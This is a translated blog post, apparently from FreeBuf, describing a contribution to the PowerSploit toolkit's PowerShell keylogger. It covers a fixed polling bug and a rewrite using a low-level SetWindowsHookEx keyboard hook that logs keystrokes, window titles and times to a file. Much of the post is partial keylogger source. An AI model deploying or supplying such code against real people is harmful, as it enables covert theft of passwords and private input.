最近终于有机会为我经常借鉴学习的项目 PowerSploit 做出了贡献。

在2015年圣诞节后,当我正在匆匆的浏览并准备删除邮件时,我发现了一个关于键盘记录器的问题。Coldalfred 写到“当我默认或者以参数 -PollingInterval 100或10000或40 执行 PowerShell时,PowerShell 的进程都会消耗大量的 CPU 资源,请问这正常吗?”。正好我有些闲时,于是决定好好研究并着手解决这个问题。

我已经验证了 Coldalfred 提到的这个问题,原来是 PollingInterval 参数没能够被成功的传递给初始化程序。这个参数通过设置休眠来调节检查键盘的循环。当输入为一个空值时,PowerShell Start-Sleep 命令行会抛出一个“non-terminating”的错误,但是鉴于这个特殊的实例是作为后台作业被执行的,当出错时它不会被显示出来。除了被掩盖的这个问题,使用这些作业也会消耗大量的内存资源。我的最初目标就是修复 PollingInterval 参数并移除运行空间的后台作业。下面是一段说明情况的代码段InitializationRoutine.ps1

$Initilizer = {

    function KeyLog {
        # Win32 Imports
        Start-Sleep -Milliseconds $PollingInterval
        # Excessive GetAsyncKeyState loop to check for pressed keys
    }}Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

现在,项目的创建者已经关闭了 Coldalfred 的问题“SetWindowsHookEx 也许是一个更好的键盘记录器,但是它需要在硬盘上放置一个 DLL 文件”。使用 SetWindowsHookEx 的好处在于,你可以同时钩住所有桌面上的进程并确保监听到所有的键盘信息,而不是通过 GetAsyncKeystate 循环检测每一个键的状态这样会遗漏一些记录。我对这种方法做了些研究,并发现了 Hans Passant 提出的一个不错的观点。Hans 解释有两种类型钩子是需不要 DLL 文件的,其中一个就是低级键盘信息。这类钩子关键在于设置完钩子后使用循环检测队列中的消息。函数 PeekMessage 可用于检查队列并设置过滤程序接收的键盘消息(0×100,0×109)HookMessageLoop.ps1

# Set WM_KEYBOARD_LL hook$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)$Stopwatch = [Diagnostics.Stopwatch]::StartNew()# Message loopwhile ($true) {
    if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
    $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
    Start-Sleep -Milliseconds 10}

虽然 PowerShell 和 C# 都运行在 .NET 框架之上并且都可以操作 Windows API,但是让PowerShell 完成 C# 的工作还是需要一些智慧的。SetWindowsHookEx 依赖于应用定义的 LowLevelKeyboardProc 回调函数来处理键盘消息的。幸运的是我曾在网上看过如何在 PowerShell 中调用这些回调函数,并最终成功将其实现了。如下所示 ScriptblockCallback.ps1

# Define callback$CallbackScript = {
    Param (
        [Int32]$Code,        [IntPtr]$wParam,        [IntPtr]$lParam
    )

    $MsgType = $wParam.ToInt32()

    # Process WM_KEYDOWN & WM_SYSKEYDOWN messages
    if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {

        # Get handle to foreground window
        $hWindow = $GetForegroundWindow.Invoke()

        # Read virtual-key from buffer
        $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)

        # Parse virtual-key
        if ($vKey -gt 64 -and $vKey -lt 91) { Alphabet characters }
        elseif ($vKey -ge 96 -and $vKey -le 111) { Number pad characters }
        elseif (($vKey -ge 48 -and $vKey -le 57) -or `
                ($vKey -ge 186 -and $vKey -le 192) -or `
                ($vKey -ge 219 -and $vKey -le 222)) { Shiftable characters }
        else { Special Keys }

        # Get foreground window's title
        $Title = New-Object Text.Stringbuilder 256        $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)

        # Define object properties
        $Props = @{
            Key = $Key
            Time = [DateTime]::Now            Window = $Title.ToString()
        }
        New-Object psobject -Property $Props
    }
    # Call next hook or keys won't get passed to intended destination
    return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)}# Cast scriptblock as LowLevelKeyboardProc callback$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])$Callback = $CallbackScript -as $Delegate# Set WM_KEYBOARD_LL hook$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)

剩下的工作就是将它们打包放入一个单独的运行空间中执行就行了KeyLoggerRunspace.ps1

function Get-Keystrokes {
    [CmdletBinding()] 
    Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
        [String]$LogPath = "$($env:TEMP)\key.log",        [Parameter(Position = 1)]
        [Double]$Timeout,        [Parameter()]
        [Switch]$PassThru
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
    catch { throw $_ }

    $Script = {
        Param (
            [Parameter(Position = 0)]
            [String]$LogPath,            [Parameter(Position = 1)]
            [Double]$Timeout
        )

        # function local:Get-DelegateType
        # function local:Get-ProcAddress

        # Imports
        # $CallbackScript 
        # Cast scriptblock as LowLevelKeyboardProc callback
        # Get handle to PowerShell for hook
        # Set WM_KEYBOARD_LL hook
        # Message loop

        # Remove the hook
        $UnhookWindowsHookEx.Invoke($Hook)
    }

    # Setup KeyLogger's runspace
    $PowerShell = [PowerShell]::Create()
    [void]$PowerShell.AddScript($Script)
    [void]$PowerShell.AddArgument($LogPath)
    if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }

    # Start KeyLogger
    [void]$PowerShell.BeginInvoke()

    if ($PassThru.IsPresent) { return $PowerShell }}

完整的源码可以在 Github 上面找到。

*原文地址:[patch-tuesday]xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...